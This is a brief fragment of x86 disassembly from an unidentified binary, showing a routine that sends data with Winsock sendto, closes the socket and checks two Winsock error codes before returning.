push eax
push 0
push dword [ebp + 0x1c]
push esi
push edi
call dword [sym.imp.WS2_32.dll_sendto]
push edi
mov esi, eax
call dword [sym.imp.WS2_32.dll_closesocket]
cmp esi, 0xffffffff
jne 0x1009c80b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x1009c80b
cmp eax, 0x2741
jne 0x1009c7ce
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret